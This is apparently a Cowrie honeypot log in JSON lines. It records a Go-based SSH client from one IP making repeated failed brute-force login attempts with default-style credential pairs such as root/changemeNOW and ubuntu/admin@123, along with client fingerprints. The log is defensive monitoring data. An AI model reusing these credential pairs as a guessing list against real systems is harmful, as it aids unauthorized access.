{"eventid":"cowrie.login.failed","username":"ftpuser","password":"p@ssw0rd","message":"login attempt [ftpuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:15.793266Z","src_ip":"45.156.87.253","session":"3ce09c302058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.794275283813477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:16.053923Z","src_ip":"72.167.226.244","session":"6636d0bd129d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:16.877581Z","src_ip":"45.156.87.253","session":"3ce09c302058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"672585f536ae","protocol":"ssh","message":"New connection: 45.156.87.253:37022 (10.17.0.5:22) [session: 672585f536ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:18.893493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:18.896506Z","src_ip":"45.156.87.253","session":"672585f536ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:18.976583Z","src_ip":"45.156.87.253","session":"672585f536ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:19.218890Z","src_ip":"45.156.87.253","session":"672585f536ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:20.301406Z","src_ip":"45.156.87.253","session":"672585f536ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42284,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eccc30262b7","protocol":"ssh","message":"New connection: 45.156.87.253:42284 (10.17.0.5:22) [session: 0eccc30262b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:22.225367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:22.228999Z","src_ip":"45.156.87.253","session":"0eccc30262b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:22.312771Z","src_ip":"45.156.87.253","session":"0eccc30262b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123456","message":"login attempt [ubuntu/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:22.559794Z","src_ip":"45.156.87.253","session":"0eccc30262b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:23.655699Z","src_ip":"45.156.87.253","session":"0eccc30262b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42290,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0bcffece308","protocol":"ssh","message":"New connection: 45.156.87.253:42290 (10.17.0.5:22) [session: e0bcffece308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:25.497051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:25.500351Z","src_ip":"45.156.87.253","session":"e0bcffece308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:25.646044Z","src_ip":"45.156.87.253","session":"e0bcffece308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:25.948778Z","src_ip":"45.156.87.253","session":"e0bcffece308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:27.031800Z","src_ip":"45.156.87.253","session":"e0bcffece308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42298,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a1a03427064","protocol":"ssh","message":"New connection: 45.156.87.253:42298 (10.17.0.5:22) [session: 1a1a03427064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:29.002262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:29.005290Z","src_ip":"45.156.87.253","session":"1a1a03427064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:29.086683Z","src_ip":"45.156.87.253","session":"1a1a03427064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:29.329669Z","src_ip":"45.156.87.253","session":"1a1a03427064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:30.412781Z","src_ip":"45.156.87.253","session":"1a1a03427064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37846,"dst_ip":"10.17.0.5","dst_port":22,"session":"26cb1edf9ae6","protocol":"ssh","message":"New connection: 45.156.87.253:37846 (10.17.0.5:22) [session: 26cb1edf9ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:32.273207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:32.276615Z","src_ip":"45.156.87.253","session":"26cb1edf9ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:32.357915Z","src_ip":"45.156.87.253","session":"26cb1edf9ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:32.602360Z","src_ip":"45.156.87.253","session":"26cb1edf9ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:33.685853Z","src_ip":"45.156.87.253","session":"26cb1edf9ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37858,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a020f7f3ac","protocol":"ssh","message":"New connection: 45.156.87.253:37858 (10.17.0.5:22) [session: c2a020f7f3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:35.594170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:35.669586Z","src_ip":"45.156.87.253","session":"c2a020f7f3ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:35.695327Z","src_ip":"45.156.87.253","session":"c2a020f7f3ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:35.991819Z","src_ip":"45.156.87.253","session":"c2a020f7f3ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.853353261947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:36.667605Z","src_ip":"50.62.181.92","session":"0983e3afe53d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:37.074569Z","src_ip":"45.156.87.253","session":"c2a020f7f3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37864,"dst_ip":"10.17.0.5","dst_port":22,"session":"84615c14df13","protocol":"ssh","message":"New connection: 45.156.87.253:37864 (10.17.0.5:22) [session: 84615c14df13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:38.935455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:38.939042Z","src_ip":"45.156.87.253","session":"84615c14df13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:39.019391Z","src_ip":"45.156.87.253","session":"84615c14df13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123456","message":"login attempt [ai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:39.277409Z","src_ip":"45.156.87.253","session":"84615c14df13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:40.367107Z","src_ip":"45.156.87.253","session":"84615c14df13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b3aeed4449","protocol":"ssh","message":"New connection: 45.156.87.253:59550 (10.17.0.5:22) [session: a8b3aeed4449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:42.270880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:42.274654Z","src_ip":"45.156.87.253","session":"a8b3aeed4449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:42.354729Z","src_ip":"45.156.87.253","session":"a8b3aeed4449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:42.596454Z","src_ip":"45.156.87.253","session":"a8b3aeed4449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:43.679238Z","src_ip":"45.156.87.253","session":"a8b3aeed4449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59560,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ca88841e5e","protocol":"ssh","message":"New connection: 45.156.87.253:59560 (10.17.0.5:22) [session: 52ca88841e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:53:45.746340Z"}
